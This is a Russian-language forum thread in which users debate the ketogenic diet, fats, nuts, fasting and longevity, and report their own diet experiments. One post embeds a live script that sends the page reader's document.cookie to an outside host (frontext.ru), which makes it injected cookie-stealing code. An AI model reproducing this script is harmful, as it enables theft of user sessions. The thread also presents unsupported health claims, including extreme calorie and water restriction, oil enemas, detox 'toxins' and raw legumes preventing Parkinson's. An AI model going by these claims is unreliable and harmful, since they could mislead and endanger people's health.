![]() |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
http://www.golodanie.su/forum/showpo...&postcount=477 Хотя ты ту тему читаешь, должен был видеть этот положительный пример. Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Про Ковалькова дополню. Никто не обязан быть супер грамотным и образованным. Но, если уж ты открыл клинику и сдираешь с людей нехилые деньги
Нажмите тут для просмотра всего текста
, то хотя бы изучи минимальные азы физиологии, чтобы не выдавать такие вот перлы Цитата:
|
Re: Кетогенная диета
Ковальков страдает ожирением, он раб социальных традиций, зачем его обсуждать?
|
Re: Кетогенная диета
Цитата:
Меня же интересуют только достижение результата - увеличения продолжительности жизни. А каким образом результат будет достигнут - углеводным питанием или безуглеводным, жировым или безжировым (или вообще не питанием, а другим способом :lol:) - мне абсолютно безразлично. Какая разница, чем питаться, - главное, чтобы это питание приводило нас к цели. Именно с этой точки зрения меня интересует и опыт кетогенного питания, а не с точки зрения "пользы и вреда". Именно поэтому всякие домыслы и досужие рассуждения и теории, которые двигают в своих книжонках с единственной целью заработать побольше денег "учёные" типа Минвалеева, меня никаким образом не впечатляют. Можно некоторым образом доверять только результатам нормальных научных исследований и читать их в оригинале, а не в изложении очередного "популяризатора от науки". ПС Цитаты из исследований очагов долголетия я уже когда-то здесь на форуме приводил. :D Кроме этих объёмных и многолетних исследований о том, что триптофан - аминокислота старения - говорит множество менее масштабных исследований. Например о том, что глюкоза ускоряет процесс старения организма, или о том, что оптимисты (тут мы сталкиваемся с серотонином:D) живут в среднем меньше, чем реалисты и пессимисты, или о том, что смех на самом деле, по крайней мере, не удлиняет продолжительность жизни. И т.д. и т.п. |
Re: Кетогенная диета
Цитата:
Фигли ты всякую ерунду пишешь личного характера без всяких ссылок? А, ну чего ждать от человека, который уже забанен несколько раз. Я думал ты серьезно, а что с дураками обсуждать? Иди просвещайся. :peace: ЗЫ. Это ж надо такую чушь про триптофан написать. ЗЫЫ. Поищи и другие работы о связи инсулина и усвоения аминокислот и серотонине с глюкозой . И причём тут вообще старение? За старение отвечает много факторов Вобщем в сад! :offtopic: |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Здесь в теме уже приводили научные данные что чем больше жира и белка в пище тем больше смертность у людей. И такое питание еще способствует образованию камней в почках. Минвалеев приводит довольно известный научный факт, который ты опровергнуть ничем кроме оскорблений не способен. И твои данные научных работ ты удачно переврал здесь. Так как по тем данным сокращение калорийности и триптофана в пище дало положительный результат только в "поздней стадии онтогенеза", т.е. в пожилом возрасте, а в средней стадии приводило к высокой смертности мышей. Не могли ученые никак измерить что ели те долгожители в молодости и сколько они чего ели. Старение ускоряет не глюкоза, а ее избыток. Иначе по твоей логике старение ускоряет и дыхание и жизнь вообще, ну так учись дышать медленее, больше проживешь, точно тебе говорю. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Это уже другой вопрос. И довольно интересный. Если перейти на жиро-белковое малоедение.
Но по науке есть нормы потребления белка в сутки. По Ковалькову - "минимально надежный уровень - 40 грамм белка в сутки", а минимально рекомендованный - 60 грамм. За раз усваивается не более 30-40 грамм. Т.е. можно есть 2 раза по 30 грамм. Но принцип кетогенки - питание жирами вместо углеводов. Какие нормы относительно жиров? И почему именно жиры? Кетогенщики утверждают что кетогенез - более естественное состояние для человека. Но вот это довольно спорно. Механизм метаболизма не такая простая система как 2х2. Малоедение будет его замедлять, что более полезно в старости, так как он естественно замедляется. Полезно ли это делать искусственно? Думаю что не очень. У каждого человека своя "врожденная" скорость обмена веществ. Людям полным с медленным о.в. от рождения это скорее пойдёт на пользу. По поводу животных не знаю. Я не помню чтобы мои домашние питомцы если раз в день. Два раза минимум. Но чтобы через день - точно нет. Думаю все таки человек приспособлен более для углеводов - это его видовый тип питания, а кетоз - запасной. Цитата:
Правда есть вот такие довольно интересные экземпляры людей: http://golodanie.su/forum/showpost.p...postcount=1054 Очевидно это близко к кетогенке. Но неясно сколько точно углеводов он ест, так как к этому набору еще с его слов он ест лепешки из муки и много фруктов, а это углеводы. Интересно то что дедуля сохраняет довольно высокую активность в свои 96 лет. Молоко и бананы (скорее всего он их ест часто, так как любит фрукты) богаты триптофаном и это точно не малоедение. Значит это далеко не главные факторы, что и требовалось доказать. |
Re: Кетогенная диета
Цитата:
Ну, а Ковальков при своем питании вынужден (обречен) постоянно бороться со своим лишним весом. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
:good:
Цитата:
|
Re: Кетогенная диета
Цитата:
P.S. А холестериновые бляшки образуются только на поврежденных сосудах. |
Re: Кетогенная диета
И в чём наука ошибается? Я не понял что вы хотели сказать. Исходя из этого:
Цитата:
Не есть мучного. Вместо этого всего можно есть овсянку, добавив пару яиц. Или коричневый рис, чечевица, гречка, обычные овощи. Из фруктов финики, яблоки - это вместо колы и конфет. Не перекусывать. Ну рыба иногда. Все. Какие еще скачки сахара? Конечно если они пьют колу и едят булки и чипсы. У американцев нет культуры питания как таковой. Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Но это уже не по теме. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
kukunja, ответил в своей теме:
http://golodanie.su/forum/showpost.p...4&postcount=54 |
Re: Кетогенная диета
Спецы по жирам, подскажите насчет сливочного масла. Не сильно вредно будет есть его по, скажем, 150-200 г в день? Только плиз на основе качественных научных исследований (РКИ, желательно систематический обзор и мета-анализ, со ссылкой на оригинал). Т.е. без ковальковых, желто-прессных выдумок, аюрведической и прочей эзотерической чуши и т.д. :hi:
|
Re: Кетогенная диета
Вообще-то наука такова что одни пишут что много жиров вредно, ссылаясь на какие-то научные исследования; другие же пишут что это полезно, ссылаясь на другие исследования. И все научно обосновано! Так какие точно научные данные тебя интересуют? Зависит от того в какие ты поверишь. И вредно для чего? Вон индус ест полкило топленого масла в день и плевать ему на твою науку. :D Отсюда следует простой вывод - наука не в "теме"!
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Приведи хоть одну бессодержательную цитату. С чем ты несогласен конкретно и как научно это доказывается?
Будет наконец содержательный ответ или все ограничиться "содержательными" оскорблениями? :D |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
А в целом я с тобой согласный |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
А тут, Макс, не может быть точных научных обоснований относительно пользы или вреда от количества. Так как люди разные, живут в разном климате и с разными традициями в питании. Что полезно одному, то другому может быть вредно. Наука это все не учитывает. И если данные и есть то они не могут быть обьективными
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Макс, ну не злись, пожста)))
На те - переводи http://advances.nutrition.org/content/3/3/266.full |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script> |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Читал, что кролика кормили сливочным маслом и у него сосуды забило холестерином.
Интересно сколько масла для человека можно, а сколько это уже много? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Свинину все хотят покупать с минимумом сала, а куда же его девать? Про бег свиней там тоже показывали, чтобы сала поменьше. Так вот сало топят и пропускают через центрифугу, откачивают вещества, имеющие специфический вкус сала. Получается кулинарный жир. Почитайте состав печенья, торта, пирога.... Везде кулинарный жир, то бишь сало. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
А в моих магазинах кулинарный жир. бееее |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Я думаю, что если человек способен сжигать за день, скажем, 500 гр жира, то и усваивать тоже должен быть способен.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Не понимаю зачем есть маргарин или какое-то там масло с канцерогенами если есть чистое топленое масло или рыбий жир (хорошего качества)? Или есть иногда рыбу. Топленое масло хорошо добавлять к крупам. Никогда бы не стал есть масло магазинное.
|
Re: Кетогенная диета
Цитата:
2. Нет холестерина, добавлены витамины (чисто рекламный трюк), но некоторые верят рекламе. |
Re: Кетогенная диета
Цитата:
А на оберчтке честно написано - СВИНИНА! |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Максимальная продолжительность жизни была у мышей, которые недоедали в детстве и молодости (у тех что не померли на такой диете). Хотя и смертность на диете в молодом возрасте была довольно высокая. Связывается это с замедлением обменных процессов. В среднем возрасте такая диета не привела к увеличению продолжительности жизни, а в старческом даже ее сократила. Вместе с тем известно, что при засухах в Африке, на фоне недоедание умственное развитие у детей замедляется. Так, что недоедание не панацея. А триптофанодефицитный тип питания в молодости вполне может увеличить продолжительность жизни определенного процента особей, которые этот период смогут пережить. |
Re: Кетогенная диета
у меня вот такой возник вопрос по голоданию. Если при обычном "мокром" голодании позволить себе также пить или есть только масло или жир до утоления аппетита, белки и углеводы будучи полностью исключены, то что это даст через несколько дней? А если перевести на такой режим мышей или кошек? были ли такие эксперименты?
В случае с чисткой печени там пьют также и лимонный сок и делают это по принуждению, и на 1-2 дня. Но есть масла которые вкусны на вкус, правда они дороже. |
Re: Кетогенная диета
Цитата:
Чисто теоретически, то организм в таком случае перестанет сжигать свой жир, но белок будет перерабатывать в глюкозу все равно с той же скоростью. |
Re: Кетогенная диета
зачем белок, если организм способен перерабатывать жиры в глюкозу?
|
Re: Кетогенная диета
Глюкоза в углеводах.
Сало в шоколаде ели бы все тогда.Глицерин только в жире-остальное жирные кислоты. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
А это камень в кетогенную диету : Цитата:
|
Re: Кетогенная диета
Цитата:
При монокетопитании, в отличии от ЛГ еще закрыт верхний путь очищения и остаются в теле токсины, которые упакованы в собственный жир. К тому же "собственный" жир бывает разный по происхождению. Наиболее энергетически ценен жир собственного производства из глюкозы. Поставь эксперимент! Цитата:
Если и лопать жир, то лучше выбирать правильный рыбий жир. |
Re: Кетогенная диета
Цитата:
Правильнее было бы сказать, что когда скорость поступления углеводов превышает скорость расхода, тогда их излишки превращаются в жир. Ну и таки да - процесс односторонний)) Цитата:
|
Re: Кетогенная диета
qaz, рыбу и рыбий жир я покупаю те, которые выловлены в наиболее чистых местах океана. Рыбий жир написано прошёл проверку на всевозможные вредные вещества и максимально сохранил свои свойства. Топленое масло покупаю английское в 2-х кг банках. Оно очень приятное на цвет и вкус. Но и сам делал из британского несолёного масла. Качество масла было хорошее, но сейчас лень замoрачиваться с кастрюлями, так что беру готовое.
|
Re: Кетогенная диета
Цитата:
Цитата:
Бутылка из какого материала? Цитата:
|
Re: Кетогенная диета
qaz,
Цитата:
Цитата:
Цитата:
You can get it here, for example: http://www.iherb.com/Purity-Farms-Or...oz-368-g/26860 reviews in Russian: http://www.iherb.com/product-reviews...0/?p=1&revl=ru |
Re: Кетогенная диета
А почему масло именно топленое, а не обычное?
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Еще минус всякие примеси и при нагревании гхи не выделяет канцерогены. Идеальное масло для готовки
|
Re: Кетогенная диета
Цитата:
Запах сильный? |
Re: Кетогенная диета
:-) Темно-оранжевый, но дело в том что туда добавляют натуральный экстракт цитрусовых, так что не совсем ясно почему такой цвет. Запах с цитрусом, пьётся нормально
Если уж хочешь купить наверняка ферментированный, как писала Птичка, то бери этот: http://www.amazon.com/gp/product/B00...=wakitime09-20 (хотя не совсем понимаю почему надо именно ферментированный). И цена кусается. Но польза последнего еще в том что он якобы "декальцифицирует" артерии и пинеальную железу так как содержит какой-то Активатор Х, о котором писал Вестон Прайс. http://wholehealthsource.blogspot.ie...tivator-x.html Бегло прочитал, вроде как это какое-то сочетание витамин А, Д и К2. Которыми богаты только масле коров на травяном питании, их органах и в рыбей икре. Вот еще нашёл: Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Нуууу милая, рак не кислоту любит, он любит углеводы-глюкоз. A Перетапливать надо тем, кто не может справится с белком молочным.
|
Re: Кетогенная диета
КОроче, давно не был, опять на инуитов "смотрел". По теме жизни на белке-жире. Живу так и дальше, углей жалкий минимум. По причине хренового стандартного качества продуктов попробовал добавлять рыбий жир в капсулах. Чего-то кишкам не понравилось. Твердые овощи в сыром виде (типа брокколи, цветной, редиски) тоже не идут никак с мясом. Утро бульон, 4 яйца. Обед: немного овощей с оливковым, авокадо, когда есть, рыба или мясо или птица, что повар сделает. Ужин: тоже самое 50 гр сала (сала мало было, экономил). Вечером белковый напиток и ложка кокосового масла, не всегда. В десять утра на перерыве пара слив, персик или ягод немного. Работа всяка разна, иногда физическая в холоде, иногда мозги кипят. Сон в основном, если народ нерву не треплет, то хороший. Вид, вроде ничего, тяжести подручные по-быстрому тягаю, гормон шибает как положено от упров. Все. Ощущения положительные, на разнообразие и всякие излишества не тянет. Хорошо или плохо, научно или нет, проверить не могу. Всем успехов. Пишите, кто практикует, задолбало читать базар по поводу "британские ученые"... и тд.
|
Re: Кетогенная диета
Цитата:
..., у меня есть и бюджетные соображения... |
Re: Кетогенная диета
RomanK,
Цитата:
"британские ученые..." из той же серии что и "доктор круз...". правда он не британец. а разбирать системы на пользу и вред надо. для того мы тут и тусуемся. |
Re: Кетогенная диета
Цитата:
Тот же сайт в другой статье даёт несколько другую схему: Цитата:
Кстати на этом форуме неоднократно писалось что потребление жиров не ведёт к ожирению, в этом виноваты углеводы. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Вообще с ограничением углей чувствую себя лучше во всех смыслах и либидо в т. ч. Я ж не за идею так питаюсь. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Я бы следил за кислотностью на таком питании. Этот фактор очень даже значительный. Без защелачивающих продуктов скорее всего со временем будет повышена кислотность крови. Хотя организм конечно не допустит значительного закисления крови, но буферные системы не резиновые. И это никакая не аюрведа об этом говорит и не "британские ученые", как тут некоторые почему -то подумали, а самая обычная современная медицинская наука, на которую я и ссылался, хотя и первые тоже с такой точкой зрения согласны. Даже если это малоедение, то за счет чего происходит восстановление кислот-щел. баланса?
ЗЫ. Заглянул в данные по поводу 90-60-90... Для такого типажа малоедение само то. |
Re: Кетогенная диета
Цитата:
http://babcock.wisc.edu/node/134 |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
кето диета предполагает 70-80 процентов калорий из жира, около 20 протеин и минимум углеводов. закисление крови и нагрузка на буферные системы гарантированы. какая еще минерализация? боржоми пить? кето диета вообще вроде как рекомендована в случае каких-то серьезный заболеваний и только под наблюдением врача. фактически это один из видов терапии, а не развлечение
|
Re: Кетогенная диета
Sun-Moon, а ты откинь социальные стереотипы приверженцев НУП и подумай какую терапевтическую кетодиту, ты придумал бы для себя, что бы закисляла по минимуму. Таблицы рН продуктов в помощь.
|
Re: Кетогенная диета
Ну я то как раз об этом думал. С одной стороны звучит заманчиво - ешь минимум и тогда и закисление минимально. Но решится на такой опыт пока не могу. Хотя пробую есть салаты с сырой рыбой (сальмон из аляски) и пара фруктов, финики. Т.е. выходит не так много углеводов. Чувствую себя отлично. Но потом чисто под настроение хочется бурого риса с пророщенной чечевицей и гхи. Тоже хорошо. Так и думаю а зачем крайности эти? Высчитывать углеводы, заморачиваться? Зачем? Что это дает? На разном питании можно есть по настроению, по ощущению. Иногда хочется чего-то теплого, иногда жирной рыбы, иногда фрукты и крупы, иногда и блинов напечь с овощами. Разницы никакой для меня. Никогда не обьедаюсь. Главное чтобы было вкусно. Ну а есть регулярно только животное? Надо искать качественное мясо или самому заводить скотинку. Не всегда есть деньги на такое питание, так как у меня масса других расходов на разные увлечения. Вобщем удобнее мне на разном питании. Да и по вкусовым критериям хочется разности вкусов.
Все таки животная пища и жиры закисляют, для щелочной крови надо 80 процентов растительной пищи - фрукты и овощи, крупы. А 20 на животную. IMHO КРОМЕ ТОГО кетоз вроде как создаёт нагрузку на печень и надпочечники. А зачем это надо? Про химию мозга я уже писал немного. Не все так просто в это схеме. Угли должны быть нашим главным топливом. Нет углей - мало серотонина, а это главный гормон удовольствия от жизни ;) |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Про кетоз я уже написал причины почему это вредно. Зачем мне варианты жирноедения, что это даёт такого что затмевает его отрицательную сторону? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
qaz, Нифига не стереотип. Научный факт. Собаки Павлова не дадут соврать. Выделение желуд. сока начинается еще до попадания пищи в желудок. Уже сам вид пищи явл-ся началом процесса переваривания. Углеводная пища так начинает перевариваться еще во рту. Проглоти ее без смачивания слюной и она плохо усвоится. Потому рекомендуют пищу хорошо жевать. У меня по крайней мере проблем с перевариванием нет. Правда тяжесть бывает иногда после, например, блинов или картошки жареной с грибами. Но вкус все компенсирует. Наедаюсь на много часов вперед. Благо часто такого не ем. Блюдоманская привычка. Просто такая пища иногда нужна, когда хочется именно теплого и маслянистого. Я исхожу из ощущений более чем из логики белков или углеводов.
Я уже написал что исхожу из того что избыток животной пищи вреден и в любом случае нужна другая пища. Но такие вредности благо часто не ем. Думаю вот попробовать сыроедение. Оставив иж животного только рыбу, рыбий жир и гхи. Вроде палео, но углеводное с фруктами и овощами. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
про мужика одного с 192 - 93
|
Re: Кетогенная диета
to Sun-Moon
Нажмите тут для просмотра всего текста
Цитата:
Вот когда такой положительный опыт обретешь Цитата:
Только пару фруктов выбирай не очень больших, например, как бахчевые или джекфрут, а то не будет похоже на малоедение. ))) http://1001fact.ru/2011/11/samye-bol...shhi-i-frukty/ Пара дикорастущих яблок вполне подойдет. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
qaz,
Нажмите тут для просмотра всего текста
ой, ты меня пристыдил. я не считаю что смешивать скажем около 150 г хорошей муки с морковкой и яблоками тертыми и подержать это на огне пару минут явл-ся чревоугодием. Уж куда более чревоугодно - это есть сырой фарш. Так шо я тут как ангел. Агнец божий. :4u: Тем более что ем я такое не более раза в пару недель. Обычно рис с чечевицей в холодное время. Читай классику жанра "Хатха Йога прадипика". Там все написано.
А свои сырые яблоки ешь сам. Только у тебя от них скоро начнется какой-нибудь перегиб в здоровье. Но я настаивать не буду на этом, живи и цвети. Ты кствти чем нибудт занимаешься по жизни вообще, кроме поедания яблок и брюквы, а? Мышцу себе яблочную отрастил? |
Re: Кетогенная диета
а при масляных клизмах масло усваивается и как? уменьшается ли при этом нагрузка на печень?
|
Re: Кетогенная диета
Цитата:
Если рассматривать чисто как угождать чреву (желудку, ЖКТ) исходя из комфортного пищеварения, то тут дело каждого: если у тебя комфортное пищеварения на морковке или на мясе - да хоть на чем, то ты уже чревоугодник. И при понятии как чревоугодие - обжорство, тут вообще смысл теряется: для кого-то 12 унций еды (сухого веса) норма и 13 унция уже обжорство, а для кого-то и больший объем пищи усваивается комфортно без проблем. Получается, что не чревоугодники, это те кто служат или питается на казенных харчах: ест что дадут и ту норму какую дают и не важно наелся или нет. |
Re: Кетогенная диета
kukunja, чревоудие - обжорство по количеству еды, по асортименту, по частоте приемов пищи сверх необходимой. Не всякий может стать "праноедом", но малоедное СМЕ от голода до голода, невзирая на аппетит, каждому по силам, если заставить. )))
|
Re: Кетогенная диета
Цитата:
У каждого же свои критерии))) |
Re: Кетогенная диета
Цитата:
Нажмите тут для просмотра всего текста
Яблочная мышца хороша, мяса не требует, тебе на зависть. :D Биосинтез внутренний рулит! После продолжительного голода приходится мышцы отращивать. Ты не голодаешь, поэтому не знаешь.
Перегибами в здоровье ты лучше практикующих бигу шичи и йогов перешагнувших 100 летний рубеж, пугай. У них диета тоже более скромная чем твоя. :lol: |
Re: Кетогенная диета
Цитата:
Аппетит - морду баловать. Цитата:
|
Re: Кетогенная диета
Резонно))))))))))))
Сам-то именно так питаешься? |
Re: Кетогенная диета
Стараюсь изо всех сил.)))
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Нажмите тут для просмотра всего текста
Нет вынужденной необходимости. Можно дальше падать по спирали вниз. Почему условно здоровые должны проигрывать в мотивациях условно больным?
Про энергию... Цитата:
Или на пример kukunja посмотри, у него кето питание раз в 2 дня, раз. Брюкву тебе не предлагаю. ))) |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Что скажете об ореховой кетогенной диете? Например, фундук или грецкий обеспечивают кетогенку 3:1. Орехи богаты пищевыми волокнами, по исследованиям, это продукт, наиболее ассоциированный с большей продолжительностью жизни, орехи не способствуют лишнему весу, снижают риски рака, диабета, депрессии, сердечно-сосудистых и других болезней.
|
Re: Кетогенная диета
Maksenek, смотри в этих орехах соотношение Омеги3 и Омеги6. И в кето лучше белка поменьше.
|
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
:x |
Re: Кетогенная диета
Цитата:
Автор делает маргинальную экстраполяцию с обычноедов с их рафинированными маслами и жирами на орехи, которые несмотря на наличие тех же жиров действуют прямо противоположным образом. Что касается его второй псевдо-страшилки о каких-то антинутриентах, ну что ж, раз эти антинутриенты в составе орехов способствуют продлению жизни и защите от рака, воспаления, диабета и ССЗ, то слава этим антинутриентам!:-) В дальнейшем, просьба ссылаться на научные исследования и обзоры, а не спекуляции и фантазии различных фанатиков. Сколько я перечитал об орехах на пабмеде - везде сплошная и безоговорочная польза.:idea: |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Орехи катаболируются без твердого остатка? В перспективе к запору не приведут? |
Re: Кетогенная диета
Цитата:
http://www.ncbi.nlm.nih.gov/pubmed/12949395 если судороги в ногах у нас с мужем не появлялис после того, как стали побольше есть орехов, то можно было и не верить страшилкам. Вымачивание не помогает. Орехи не может быть основнои пищей, только лакомством иногда, в небольших количествах. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Ну и ссылочки http://www.ncbi.nlm.nih.gov/pubmed/11130145 http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3250595/ http://www.ncbi.nlm.nih.gov/pubmed/1725171 |
Re: Кетогенная диета
Цитата:
Малоедение на семечках было кратковременным, со значительной нехваткой энергии по причине периода адаптации к низкоуглеводке (начинал сразу, без предварительного голодания), тем не менее, самочувствие и настроение были отличными.:-) |
Re: Кетогенная диета
Цитата:
Нажмите тут для просмотра всего текста
Хотелось бы перейти после снижения обмена на голодании. В этом случае надеюсь, что убитая обменка и/или ограничение воды малоедными 600 мл должны сами лимитировать кол-во пищи. В противном случае, буду пробовать ограничения в диапазоне 500-1000 ккал.
Цитата:
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Могу сказать, что орехи у меня вообще самая любимая вкусность - ем уже давно разные виды регулярно в больших количествах. Никаких траблов с ними никогда не было. Как-то ради интереса сдавал кровь на холестерин по фракциям. Листок сейчас найти не могу, но хорошо помню, что общий хол. и ЛПНП ниже нормы, а ЛПВП уверенно в норме (все как по учебнику!:-))
Другое дело, что именно за счет орехов за день слишком высокий калораж выходит.:-( |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Посмотрел сейчас записи своей семечковой кетогенки. Она была только первые 8 дней (620 ккал, БЖУ 25-53-12) и вес всё это время стремительно падал. Потом поднял углеводы с прежних 12 до 60 г за счет добавления фиников. В результате, вес сразу немного поднялся, остановился на этом уровне и держался так 2 недели, не смотря на то что калорийность была 960 ккал (БЖУ 34-66-61). Затем немного сократил углеводы до 40 г, в результате вес сразу резко рухнул аж на 1 кг, и затем продолжил снижаться. За последующие 3 дня он снизился ещё на 1 кг, и всё это завершилось грандиозным срывом на углеводы (350 г - 6 суточных норм). Так что увы, кетогенка в моем (малоедном) случае оказалась мощной похудательной диетой. :( Придется есть 60 г углеводов в день, только каких? Злаки, бобовые и овощи не хочу из-за вреда для здоровья, а сладкое просто не хочется, отторжение какое-то...
|
Re: Кетогенная диета
Цитата:
Злаки--согласна, вред (кроме проращивани). Но с остальным? Бобовые спасают от паркинсона. (в сыром виде). А овощи чем не угодили? Ну про вареные--это классика вреда, но сырые? А сладкое вы как-бы легализуете? Ну и ну... |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Небольшой сладости попробуй, тыкву, например. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Maksenek, тебе не угодишь.))) Не найдешь приемлемый продукт для углей, тогда останется глюкозу, растворенную в воде, в течении дня пить.
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
К тому же микрофлору свою ты зря что ли кормишь? Напряги её, пусть тебе поставляет аминки, витаминки, минералки, ..... |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Традиционно овощи, цельные злаки диетологи считают за здоровую пищу, да и к бобовым сейчас благосклонное отношение. ИМХО, чисто умозрительная конструкция, что раз наши далекие предки кашами не питались, бобовые не ели и корнеплоды не отваривали, то от всего этого современному человеку один вред. Были бы какие-то подтвержденные факты, чтоб зацепиться, тогда другое дело..... |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Экологичность овощей, фруктов это отдельный вопрос. Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
НЕМНОЖКО ПО ТЕМЕ - БЛИЖЕ К НАЗВАНИЮ))
провел неделю жесткого, как для меня лично, белково-жирового питания. Собственно ел один раз на завтрак: 1.омлет из пяти куриных яиц по рецепту как описал в первом посту темы, с одним помидором и половиной очень острого перца стрючкового, 2.50гр свиного сала, 3.кофе, заваренный, из одной столовой ложки молотого кофе, 4.с одной столовой ложкой домашних сливок, 5.в прикуску со сливочным маслом, в количесвте 70гр. после такого завтрака есть больше не хотелось в течении дня пил только воду или отвар шиповника с липой, энергии достаточно, психика очень уравновешена, такое себе непоколебимое плато, у меня такое было пару месяцев на сыро-мясоедении, так понравилось это состояние, что зародилась зависимость и желание его вернуть. НО на пятый и шестой день почувствовал тяжесть в печени с подташниванием, не сильные , но докучали во время обычной утренней зарядки с тяжестями. А ВОТ НА СЕДЬМОЙ ДЕНЬ, еле-еле дотянул до конца свою обычную пятикилометровую утреннюю пробежку, ноги вообще отказывали, бежал старческой трусцой)), печень как какмень, тянула и болела, но болевой порог не пришел, ощущение, что вот-вот и будет как у начинающего бегуна боль от задышки в правом подреберье. Вечером того же дня понял, что психическое равновесие ушло и появился псих - не поем японских ролов, съезжу кому-нибудь по морде))) - думаю что это тяга к рису, к углеводам. Поехал в ресторан поел, причем, пока там был, четко заметил за собой внутреннее недовольство всем и всеми, через часик после еды попустило и успокоился)) захотел спать и уснул. Утром следующего дня, макисмальная пауза на выдохе увеличилась на 20 сек, с 50 сек на 1 мин 10 сек, энергии столько, что аж руки трясутся, пульс обычный, психическое настроение ровное. Вот как-то так. Да еще, все семь дней язык покрывался густым налетом, очищал жеванием, прополиса или питьем стакана воды с половиной ложечки соли и ложечкой красного острого молотого перца. |
Re: Кетогенная диета
по поводу обсуждавшейся на форуме лактулозы, как способа развести в кишечнике бифидобактерии, до описанного недельного эксперимента, проводил трехнедельный эксперимент, принимая Лактувит по 1 ст. ложке в день, питание мое обычное, НИЧЕГО НЕ МЕНЯЛ.
В конце третьей недели, пот стал таким вонючим, что я превратился в скунса)), мойся не мойся - пофиг не помогает. Убрал Лактувит, пару дней по одной кофейной клизме(их я давно уже не делал) и все вернулось, потливость как была так и осталась(как по мне высокая, НО это побочка жирового питания, проверял убираю жиры уходит потливость), НО ЗАПАХ ИСЧЕЗ. Не знаю, то ли бифиды дают такую вонь, то ли эту лактулозу с успехом едят и другие бактерии, поэтому не факт, что этой подкормкой разведешь симбионтов, если в кишечнике обитают враги, могут и они укрепиться. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Проблема в том, что калораж на таком питании ограничить весьма проблематично.:4u: Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Приступил к своей ореховой монодиете. Вес не падает, а наоборот растет - наверно из-за большего чем тогда калоража. Так что может и не придется добавлять углеводы, тем более что их совсем не хочется. Похоже в рационе останется только миндаль, т.к. грецкий и фундук как-то не очень привлекают. Чем нравятся орехи, даже если их сильно переесть, никакого дискомфорта не возникает, в т.ч. термогенеза. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Подскажите, какие сроки и признаки кето-криза на кетогенке?
